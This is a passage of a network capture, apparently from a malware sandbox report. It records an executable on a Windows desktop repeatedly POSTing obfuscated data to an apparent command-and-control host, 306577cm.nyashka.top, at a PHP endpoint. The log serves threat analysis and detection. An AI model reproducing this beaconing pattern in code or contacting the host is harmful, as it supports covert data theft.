Jan 7, 2025 11:57:49.304168940 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 10:57:45 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 34 5a 5f 57 Data Ascii: 4Z_W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.4	49783	185.158.202.52	80	7560	C:\Users\user\Desktop\Z90Z9bYzPa.exe

Timestamp	Bytes transferred	Direction	Data
Jan 7, 2025 11:57:49.437470913 CET	284	OUT	POST /LowServerflowerwordpress.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 306577cm.nyashka.top Content-Length: 2536 Expect: 100-continue Connection: Keep-Alive
Jan 7, 2025 11:57:49.808166981 CET	2536	OUT	Data Raw: 55 58 5c 5d 5a 41 59 50 5a 59 51 55 5a 59 50 5d 55 54 5b 5d 55 53 54 5f 59 59 59 51 5e 59 5d 5e 5c 5d 56 45 52 5a 56 5d 5f 51 54 5d 5b 5e 52 5a 56 57 5e 5c 5a 53 51 5f 52 57 50 5e 5b 56 5d 59 58 53 5a 58 5a 58 58 54 5f 58 5f 5e 5e 5c 5e 54 50 5f Data Ascii: UX\]ZAYPZYQUZYP]UT[]UST_YYYQ^Y]^\]VERZV]_QT][^RZVW^\ZSQ_RWP^[V]YXSZXZXXT_X_^^\^TP_\WVE\[SZYY[XZV^ZBVZ\[XZ]][_UGQ^G[QXXTP[PY\P\B[__[_ZXU^\_XRTWYRX[\]X\[@BYG[X_PUYS_]]^\]S_ZTQX_S]YTP[QXU&(!>3'"X0<Q3^=]&<[!=8S))$'#8\.%[/ Q-<
Jan 7, 2025 11:57:50.095057964 CET	25	IN	HTTP/1.1 100 Continue
Jan 7, 2025 11:57:50.227324963 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 10:57:46 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 34 5a 5f 57 Data Ascii: 4Z_W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.4	49784	185.158.202.52	80	7560	C:\Users\user\Desktop\Z90Z9bYzPa.exe

Timestamp	Bytes transferred	Direction	Data
Jan 7, 2025 11:57:50.356632948 CET	284	OUT	POST /LowServerflowerwordpress.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 306577cm.nyashka.top Content-Length: 2536 Expect: 100-continue Connection: Keep-Alive
Jan 7, 2025 11:57:50.714375019 CET	2536	OUT	Data Raw: 55 5e 59 5e 5a 43 59 54 5a 59 51 55 5a 54 50 5d 55 54 5b 5c 55 5f 54 59 59 59 59 51 5e 59 5d 5e 5c 5d 56 45 52 5a 56 5d 5f 51 54 5d 5b 5e 52 5a 56 57 5e 5c 5a 53 51 5f 52 57 50 5e 5b 56 5d 59 58 53 5a 58 5a 58 58 54 5f 58 5f 5e 5e 5c 5e 54 50 5f Data Ascii: U^Y^ZCYTZYQUZTP]UT[\U_TYYYYQ^Y]^\]VERZV]_QT][^RZVW^\ZSQ_RWP^[V]YXSZXZXXT_X_^^\^TP_\WVE\[SZYY[XZV^ZBVZ\[XZ]][_UGQ^G[QXXTP[PY\P\B[__[_ZXU^\_XRTWYRX[\]X\[@BYG[X_PUYS_]]^\]S_ZTQX_S]YTP[QXU%]?!_< 06#\'C '^%_&<:".#(:#$/X4,X:4%[/ Q-
Jan 7, 2025 11:57:51.014350891 CET	25	IN	HTTP/1.1 100 Continue
Jan 7, 2025 11:57:51.147020102 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 10:57:47 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 34 5a 5f 57 Data Ascii: 4Z_W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.4	49785	185.158.202.52	80	7560	C:\Users\user\Desktop\Z90Z9bYzPa.exe

Timestamp	Bytes transferred	Direction	Data
Jan 7, 2025 11:57:51.277596951 CET	284	OUT	POST /LowServerflowerwordpress.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 306577cm.nyashka.top Content-Length: 2536 Expect: 100-continue Connection: Keep-Alive
Jan 7, 2025 11:57:51.636199951 CET	2536	OUT	Data Raw: 50 5f 5c 5b 5f 46 59 53 5a 59 51 55 5a 59 50 52 55 51 5b 5d 55 56 54 53 59 59 59 51 5e 59 5d 5e 5c 5d 56 45 52 5a 56 5d 5f 51 54 5d 5b 5e 52 5a 56 57 5e 5c 5a 53 51 5f 52 57 50 5e 5b 56 5d 59 58 53 5a 58 5a 58 58 54 5f 58 5f 5e 5e 5c 5e 54 50 5f Data Ascii: P_\[_FYSZYQUZYPRUQ[]UVTSYYYQ^Y]^\]VERZV]_QT][^RZVW^\ZSQ_RWP^[V]YXSZXZXXT_X_^^\^TP_\WVE\[SZYY[XZV^ZBVZ\[XZ]][_UGQ^G[QXXTP[PY\P\B[__[_ZXU^\_XRTWYRX[\]X\[@BYG[X_PUYS_]]^\]S_ZTQX_S]YTP[QXU&+2._?8 0;Z3+3\3?%Y!?*)(%?4 U;-4%[/ Q-<
Jan 7, 2025 11:57:51.913966894 CET	25	IN	HTTP/1.1 100 Continue
Jan 7, 2025 11:57:52.301894903 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 10:57:48 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 34 5a 5f 57 Data Ascii: 4Z_W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.4	49786	185.158.202.52	80	7560	C:\Users\user\Desktop\Z90Z9bYzPa.exe

Timestamp	Bytes transferred	Direction	Data
Jan 7, 2025 11:57:52.392360926 CET	284	OUT	POST /LowServerflowerwordpress.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 306577cm.nyashka.top Content-Length: 1836 Expect: 100-continue Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.4	49787	185.158.202.52	80	7560	C:\Users\user\Desktop\Z90Z9bYzPa.exe

Timestamp	Bytes transferred	Direction	Data
Jan 7, 2025 11:57:52.445346117 CET	284	OUT	POST /LowServerflowerwordpress.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 306577cm.nyashka.top Content-Length: 2536 Expect: 100-continue Connection: Keep-Alive
Jan 7, 2025 11:57:52.793982983 CET	2536	OUT	Data Raw: 50 5a 5c 5f 5f 41 59 5a 5a 59 51 55 5a 5e 50 57 55 53 5b 5c 55 51 54 5a 59 59 59 51 5e 59 5d 5e 5c 5d 56 45 52 5a 56 5d 5f 51 54 5d 5b 5e 52 5a 56 57 5e 5c 5a 53 51 5f 52 57 50 5e 5b 56 5d 59 58 53 5a 58 5a 58 58 54 5f 58 5f 5e 5e 5c 5e 54 50 5f Data Ascii: PZ\__AYZZYQUZ^PWUS[\UQTZYYYQ^Y]^\]VERZV]_QT][^RZVW^\ZSQ_RWP^[V]YXSZXZXXT_X_^^\^TP_\WVE\[SZYY[XZV^ZBVZ\[XZ]][_UGQ^G[QXXTP[PY\P\B[__[_ZXU^\_XRTWYRX[\]X\[@BYG[X_PUYS_]]^\]S_ZTQX_S]YTP[QXU%\<]<U0!'0&(%(*&?)Y5;(:(T0' -%[/ Q-
Jan 7, 2025 11:57:53.091687918 CET	25	IN	HTTP/1.1 100 Continue
Jan 7, 2025 11:57:53.225090981 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 10:57:49 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 34 5a 5f 57 Data Ascii: 4Z_W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.4	49788	185.158.202.52	80	7560	C:\Users\user\Desktop\Z90Z9bYzPa.exe

Timestamp	Bytes transferred	Direction	Data
Jan 7, 2025 11:57:53.356631994 CET	260	OUT	POST /LowServerflowerwordpress.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 306577cm.nyashka.top Content-Length: 2536 Expect: 100-continue
Jan 7, 2025 11:57:53.714391947 CET	2536	OUT	Data Raw: 50 5d 59 5f 5a 42 59 55 5a 59 51 55 5a 59 50 51 55 50 5b 5f 55 57 54 59 59 59 59 51 5e 59 5d 5e 5c 5d 56 45 52 5a 56 5d 5f 51 54 5d 5b 5e 52 5a 56 57 5e 5c 5a 53 51 5f 52 57 50 5e 5b 56 5d 59 58 53 5a 58 5a 58 58 54 5f 58 5f 5e 5e 5c 5e 54 50 5f Data Ascii: P]Y_ZBYUZYQUZYPQUP[_UWTYYYYQ^Y]^\]VERZV]_QT][^RZVW^\ZSQ_RWP^[V]YXSZXZXXT_X_^^\^TP_\WVE\[SZYY[XZV^ZBVZ\[XZ]][_UGQ^G[QXXTP[PY\P\B[__[_ZXU^\_XRTWYRX[\]X\[@BYG[X_PUYS_]]^\]S_ZTQX_S]YTP[QXU%<2Z?#,"'/$(&/9Z!=#=* ';#U?,4%[/ Q-<
Jan 7, 2025 11:57:53.997705936 CET	25	IN	HTTP/1.1 100 Continue
Jan 7, 2025 11:57:54.127898932 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 10:57:50 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 34 5a 5f 57 Data Ascii: 4Z_W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.4	49789	185.158.202.52	80	7560	C:\Users\user\Desktop\Z90Z9bYzPa.exe

Timestamp	Bytes transferred	Direction	Data
Jan 7, 2025 11:57:54.249522924 CET	284	OUT	POST /LowServerflowerwordpress.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 306577cm.nyashka.top Content-Length: 2532 Expect: 100-continue Connection: Keep-Alive
Jan 7, 2025 11:57:54.605004072 CET	2532	OUT	Data Raw: 50 53 59 5e 5f 40 5c 50 5a 59 51 55 5a 5c 50 57 55 54 5b 53 55 54 54 58 59 59 59 51 5e 59 5d 5e 5c 5d 56 45 52 5a 56 5d 5f 51 54 5d 5b 5e 52 5a 56 57 5e 5c 5a 53 51 5f 52 57 50 5e 5b 56 5d 59 58 53 5a 58 5a 58 58 54 5f 58 5f 5e 5e 5c 5e 54 50 5f Data Ascii: PSY^_@\PZYQUZ\PWUT[SUTTXYYYQ^Y]^\]VERZV]_QT][^RZVW^\ZSQ_RWP^[V]YXSZXZXXT_X_^^\^TP_\WVE\[SZYY[XZV^ZBVZ\[XZ]][_UGQ^G[QXXTP[PY\P\B[__[_ZXU^\_XRTWYRX[\]X\[@BYG[X_PUYS_]]^\]S_ZTQX_S]YTP[QXU%X((?] ;[3#3^=0Z!#)']7#:%[/ Q-
Jan 7, 2025 11:57:54.905783892 CET	25	IN	HTTP/1.1 100 Continue
Jan 7, 2025 11:57:55.038949966 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 10:57:51 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 34 5a 5f 57 Data Ascii: 4Z_W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.4	49791	185.158.202.52	80	7560	C:\Users\user\Desktop\Z90Z9bYzPa.exe

Timestamp	Bytes transferred	Direction	Data
Jan 7, 2025 11:57:55.171231985 CET	284	OUT	POST /LowServerflowerwordpress.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 306577cm.nyashka.top Content-Length: 2536 Expect: 100-continue Connection: Keep-Alive
Jan 7, 2025 11:57:55.526874065 CET	2536	OUT	Data Raw: 55 58 5c 5e 5a 41 59 55 5a 59 51 55 5a 58 50 53 55 5e 5b 52 55 55 54 5f 59 59 59 51 5e 59 5d 5e 5c 5d 56 45 52 5a 56 5d 5f 51 54 5d 5b 5e 52 5a 56 57 5e 5c 5a 53 51 5f 52 57 50 5e 5b 56 5d 59 58 53 5a 58 5a 58 58 54 5f 58 5f 5e 5e 5c 5e 54 50 5f Data Ascii: UX\^ZAYUZYQUZXPSU^[RUUT_YYYQ^Y]^\]VERZV]_QT][^RZVW^\ZSQ_RWP^[V]YXSZXZXXT_X_^^\^TP_\WVE\[SZYY[XZV^ZBVZ\[XZ]][_UGQ^G[QXXTP[PY\P\B[__[_ZXU^\_XRTWYRX[\]X\[@BYG[X_PUYS_]]^\]S_ZTQX_S]YTP[QXU%\<2-<;"'Z'&/08\$5(*?$ #/.%[/ Q-8
Jan 7, 2025 11:57:55.805852890 CET	25	IN	HTTP/1.1 100 Continue
Jan 7, 2025 11:57:55.976367950 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 10:57:52 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 34 5a 5f 57 Data Ascii: 4Z_W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.4	49797	185.158.202.52	80	7560	C:\Users\user\Desktop\Z90Z9bYzPa.exe

Timestamp	Bytes transferred	Direction	Data
Jan 7, 2025 11:57:56.110295057 CET	284	OUT	POST /LowServerflowerwordpress.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 306577cm.nyashka.top Content-Length: 2536 Expect: 100-continue Connection: Keep-Alive
Jan 7, 2025 11:57:56.464631081 CET	2536	OUT	Data Raw: 50 52 59 5f 5f 48 59 56 5a 59 51 55 5a 59 50 5c 55 50 5b 5f 55 56 54 59 59 59 59 51 5e 59 5d 5e 5c 5d 56 45 52 5a 56 5d 5f 51 54 5d 5b 5e 52 5a 56 57 5e 5c 5a 53 51 5f 52 57 50 5e 5b 56 5d 59 58 53 5a 58 5a 58 58 54 5f 58 5f 5e 5e 5c 5e 54 50 5f Data Ascii: PRY__HYVZYQUZYP\UP[_UVTYYYYQ^Y]^\]VERZV]_QT][^RZVW^\ZSQ_RWP^[V]YXSZXZXXT_X_^^\^TP_\WVE\[SZYY[XZV^ZBVZ\[XZ]][_UGQ^G[QXXTP[PY\P\B[__[_ZXU^\_XRTWYRX[\]X\[@BYG[X_PUYS_]]^\]S_ZTQX_S]YTP[QXU&+1)+#<"##Z00%(\3/&!=8(9 W'/<Y 3]-4%[/ Q-<
Jan 7, 2025 11:57:56.749463081 CET	25	IN	HTTP/1.1 100 Continue
Jan 7, 2025 11:57:56.878968954 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 10:57:53 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 34 5a 5f 57 Data Ascii: 4Z_W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.4	49803	185.158.202.52	80	7560	C:\Users\user\Desktop\Z90Z9bYzPa.exe

Timestamp	Bytes transferred	Direction	Data
Jan 7, 2025 11:57:56.997270107 CET	284	OUT	POST /LowServerflowerwordpress.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 306577cm.nyashka.top Content-Length: 2536 Expect: 100-continue Connection: Keep-Alive
Jan 7, 2025 11:57:57.355091095 CET	2536	OUT	Data Raw: 55 5a 5c 5d 5a 42 5c 56 5a 59 51 55 5a 59 50 57 55 51 5b 5f 55 56 54 5a 59 59 59 51 5e 59 5d 5e 5c 5d 56 45 52 5a 56 5d 5f 51 54 5d 5b 5e 52 5a 56 57 5e 5c 5a 53 51 5f 52 57 50 5e 5b 56 5d 59 58 53 5a 58 5a 58 58 54 5f 58 5f 5e 5e 5c 5e 54 50 5f Data Ascii: UZ\]ZB\VZYQUZYPWUQ[_UVTZYYYQ^Y]^\]VERZV]_QT][^RZVW^\ZSQ_RWP^[V]YXSZXZXXT_X_^^\^TP_\WVE\[SZYY[XZV^ZBVZ\[XZ]][_UGQ^G[QXXTP[PY\P\B[__[_ZXU^\_XRTWYRX[\]X\[@BYG[X_PUYS_]]^\]S_ZTQX_S]YTP[QXU&?"1?3,6V'Y',%+=]$Z>!'=)#$^ \:4%[/ Q-<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.4	49809	185.158.202.52	80	7560	C:\Users\user\Desktop\Z90Z9bYzPa.exe

Timestamp	Bytes transferred	Direction	Data
Jan 7, 2025 11:57:57.455009937 CET	284	OUT	POST /LowServerflowerwordpress.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 306577cm.nyashka.top Content-Length: 1860 Expect: 100-continue Connection: Keep-Alive
Jan 7, 2025 11:57:57.808176994 CET	1860	OUT	Data Raw: 50 5d 5c 5c 5f 41 59 51 5a 59 51 55 5a 54 50 53 55 57 5b 53 55 54 54 5f 59 59 59 51 5e 59 5d 5e 5c 5d 56 45 52 5a 56 5d 5f 51 54 5d 5b 5e 52 5a 56 57 5e 5c 5a 53 51 5f 52 57 50 5e 5b 56 5d 59 58 53 5a 58 5a 58 58 54 5f 58 5f 5e 5e 5c 5e 54 50 5f Data Ascii: P]\\_AYQZYQUZTPSUW[SUTT_YYYQ^Y]^\]VERZV]_QT][^RZVW^\ZSQ_RWP^[V]YXSZXZXXT_X_^^\^TP_\WVE\[SZYY[XZV^ZBVZ\[XZ]][_UGQ^G[QXXTP[PY\P\B[__[_ZXU^\_XRTWYRX[\]X\[@BYG[X_PUYS_]]^\]S_ZTQX_S]YTP[QXU%X<W:<#<!3$0C(U'^&$5;=)4T$? 3^.4%[/ Q-
Jan 7, 2025 11:57:58.090883017 CET	25	IN	HTTP/1.1 100 Continue
Jan 7, 2025 11:57:58.218931913 CET	308	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 10:57:54 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 152 Connection: keep-alive Data Raw: 06 12 25 00 36 27 24 0b 27 13 2f 56 24 16 3a 1f 2b 1c 0b 10 29 33 3e 13 25 2b 3b 1c 25 3c 2f 5a 21 02 0e 06 3d 59 3a 05 35 33 22 50 32 39 28 5c 00 1b 27 05 33 0c 06 0d 2a 22 32 11 25 0e 31 06 32 0b 2f 06 23 3d 08 51 22 07 3e 0f 37 03 24 53 39 2e 2f 57 3f 24 09 14 39 34 3f 10 34 39 20 51 0d 17 3b 08 26 2d 2b 00 33 02 0c 1f 22 51 34 51 20 1b 32 03 31 2f 32 10 26 03 2c 02 3f 5f 20 5a 23 3f 3a 07 36 06 24 0e 36 04 00 11 29 2c 23 5d 22 00 20 52 0d 33 58 4f Data Ascii: %6'$'/V$:+)3>%+;%</Z!=Y:53"P29(\'3*"2%12/#=Q">7$S9./W?$94?49 Q;&-+3"Q4Q 21/2&,?_ Z#?:6$6),#]" R3XO

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.4	49810	185.158.202.52	80	7560	C:\Users\user\Desktop\Z90Z9bYzPa.exe

Timestamp	Bytes transferred	Direction	Data
Jan 7, 2025 11:57:57.583671093 CET	284	OUT	POST /LowServerflowerwordpress.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 306577cm.nyashka.top Content-Length: 2536 Expect: 100-continue Connection: Keep-Alive
Jan 7, 2025 11:57:57.933245897 CET	2536	OUT	Data Raw: 50 59 5c 5e 5f 46 59 50 5a 59 51 55 5a 59 50 54 55 5f 5b 5a 55 55 54 58 59 59 59 51 5e 59 5d 5e 5c 5d 56 45 52 5a 56 5d 5f 51 54 5d 5b 5e 52 5a 56 57 5e 5c 5a 53 51 5f 52 57 50 5e 5b 56 5d 59 58 53 5a 58 5a 58 58 54 5f 58 5f 5e 5e 5c 5e 54 50 5f Data Ascii: PY\^_FYPZYQUZYPTU_[ZUUTXYYYQ^Y]^\]VERZV]_QT][^RZVW^\ZSQ_RWP^[V]YXSZXZXXT_X_^^\^TP_\WVE\[SZYY[XZV^ZBVZ\[XZ]][_UGQ^G[QXXTP[PY\P\B[__[_ZXU^\_XRTWYRX[\]X\[@BYG[X_PUYS_]]^\]S_ZTQX_S]YTP[QXU%X<1<U/]!?Z$%/'(\0Z9X"U=9?33#0X-4%[/ Q-<
Jan 7, 2025 11:57:58.217156887 CET	25	IN	HTTP/1.1 100 Continue
Jan 7, 2025 11:57:58.386218071 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 10:57:54 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 34 5a 5f 57 Data Ascii: 4Z_W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.4	49816	185.158.202.52	80	7560	C:\Users\user\Desktop\Z90Z9bYzPa.exe

Timestamp	Bytes transferred	Direction	Data
Jan 7, 2025 11:57:58.526392937 CET	260	OUT	POST /LowServerflowerwordpress.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 306577cm.nyashka.top Content-Length: 2536 Expect: 100-continue
Jan 7, 2025 11:57:58.870707035 CET	2536	OUT	Data Raw: 55 58 5c 58 5f 48 59 54 5a 59 51 55 5a 58 50 57 55 56 5b 59 55 55 54 58 59 59 59 51 5e 59 5d 5e 5c 5d 56 45 52 5a 56 5d 5f 51 54 5d 5b 5e 52 5a 56 57 5e 5c 5a 53 51 5f 52 57 50 5e 5b 56 5d 59 58 53 5a 58 5a 58 58 54 5f 58 5f 5e 5e 5c 5e 54 50 5f Data Ascii: UX\X_HYTZYQUZXPWUV[YUUTXYYYQ^Y]^\]VERZV]_QT][^RZVW^\ZSQ_RWP^[V]YXSZXZXXT_X_^^\^TP_\WVE\[SZYY[XZV^ZBVZ\[XZ]][_UGQ^G[QXXTP[PY\P\B[__[_ZXU^\_XRTWYRX[\]X\[@BYG[X_PUYS_]]^\]S_ZTQX_S]YTP[QXU&!1+?^ #']$C,0+>0![#._ '(#.4%[/ Q-8
Jan 7, 2025 11:57:59.163732052 CET	25	IN	HTTP/1.1 100 Continue
Jan 7, 2025 11:57:59.291357040 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 10:57:55 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 34 5a 5f 57 Data Ascii: 4Z_W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.4	49822	185.158.202.52	80	7560	C:\Users\user\Desktop\Z90Z9bYzPa.exe

Timestamp	Bytes transferred	Direction	Data
Jan 7, 2025 11:57:59.421418905 CET	284	OUT	POST /LowServerflowerwordpress.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 306577cm.nyashka.top Content-Length: 2536 Expect: 100-continue Connection: Keep-Alive
Jan 7, 2025 11:57:59.776859045 CET	2536	OUT	Data Raw: 55 5a 5c 52 5f 41 5c 56 5a 59 51 55 5a 59 50 5d 55 52 5b 59 55 53 54 5c 59 59 59 51 5e 59 5d 5e 5c 5d 56 45 52 5a 56 5d 5f 51 54 5d 5b 5e 52 5a 56 57 5e 5c 5a 53 51 5f 52 57 50 5e 5b 56 5d 59 58 53 5a 58 5a 58 58 54 5f 58 5f 5e 5e 5c 5e 54 50 5f Data Ascii: UZ\R_A\VZYQUZYP]UR[YUST\YYYQ^Y]^\]VERZV]_QT][^RZVW^\ZSQ_RWP^[V]YXSZXZXXT_X_^^\^TP_\WVE\[SZYY[XZV^ZBVZ\[XZ]][_UGQ^G[QXXTP[PY\P\B[__[_ZXU^\_XRTWYRX[\]X\[@BYG[X_PUYS_]]^\]S_ZTQX_S]YTP[QXU%Y(2%<0/^5?&%08-X3<>5X0)+%<'40<^:4%[/ Q-<
Jan 7, 2025 11:58:00.077871084 CET	25	IN	HTTP/1.1 100 Continue
Jan 7, 2025 11:58:00.210973978 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 10:57:56 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 34 5a 5f 57 Data Ascii: 4Z_W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.4	49831	185.158.202.52	80	7560	C:\Users\user\Desktop\Z90Z9bYzPa.exe

Timestamp	Bytes transferred	Direction	Data
Jan 7, 2025 11:58:00.340440035 CET	284	OUT	POST /LowServerflowerwordpress.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 306577cm.nyashka.top Content-Length: 2536 Expect: 100-continue Connection: Keep-Alive
Jan 7, 2025 11:58:00.698967934 CET	2536	OUT	Data Raw: 50 59 5c 5d 5a 45 5c 56 5a 59 51 55 5a 54 50 52 55 53 5b 5a 55 55 54 53 59 59 59 51 5e 59 5d 5e 5c 5d 56 45 52 5a 56 5d 5f 51 54 5d 5b 5e 52 5a 56 57 5e 5c 5a 53 51 5f 52 57 50 5e 5b 56 5d 59 58 53 5a 58 5a 58 58 54 5f 58 5f 5e 5e 5c 5e 54 50 5f Data Ascii: PY\]ZE\VZYQUZTPRUS[ZUUTSYYYQ^Y]^\]VERZV]_QT][^RZVW^\ZSQ_RWP^[V]YXSZXZXXT_X_^^\^TP_\WVE\[SZYY[XZV^ZBVZ\[XZ]][_UGQ^G[QXXTP[PY\P\B[__[_ZXU^\_XRTWYRX[\]X\[@BYG[X_PUYS_]]^\]S_ZTQX_S]YTP[QXU&*1)?' X3%'$+)01Y!=3)4V3? 7,]-$%[/ Q-
Jan 7, 2025 11:58:00.997268915 CET	25	IN	HTTP/1.1 100 Continue
Jan 7, 2025 11:58:01.131155014 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 10:57:57 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 34 5a 5f 57 Data Ascii: 4Z_W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.4	49839	185.158.202.52	80	7560	C:\Users\user\Desktop\Z90Z9bYzPa.exe

Timestamp	Bytes transferred	Direction	Data
Jan 7, 2025 11:58:01.265844107 CET	284	OUT	POST /LowServerflowerwordpress.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 306577cm.nyashka.top Content-Length: 2536 Expect: 100-continue Connection: Keep-Alive
Jan 7, 2025 11:58:01.620719910 CET	2536	OUT	Data Raw: 50 5c 5c 5d 5a 44 5c 50 5a 59 51 55 5a 5d 50 54 55 55 5b 5b 55 53 54 59 59 59 59 51 5e 59 5d 5e 5c 5d 56 45 52 5a 56 5d 5f 51 54 5d 5b 5e 52 5a 56 57 5e 5c 5a 53 51 5f 52 57 50 5e 5b 56 5d 59 58 53 5a 58 5a 58 58 54 5f 58 5f 5e 5e 5c 5e 54 50 5f Data Ascii: P\\]ZD\PZYQUZ]PTUU[[USTYYYYQ^Y]^\]VERZV]_QT][^RZVW^\ZSQ_RWP^[V]YXSZXZXXT_X_^^\^TP_\WVE\[SZYY[XZV^ZBVZ\[XZ]][_UGQ^G[QXXTP[PY\P\B[__[_ZXU^\_XRTWYRX[\]X\[@BYG[X_PUYS_]]^\]S_ZTQX_S]YTP[QXU&?\<3(!/]$6+'8%'?!6><)0?X"3$]:%[/ Q-,
Jan 7, 2025 11:58:01.903645039 CET	25	IN	HTTP/1.1 100 Continue
Jan 7, 2025 11:58:02.030989885 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 10:57:58 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 34 5a 5f 57 Data Ascii: 4Z_W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.4	49845	185.158.202.52	80	7560	C:\Users\user\Desktop\Z90Z9bYzPa.exe

Timestamp	Bytes transferred	Direction	Data
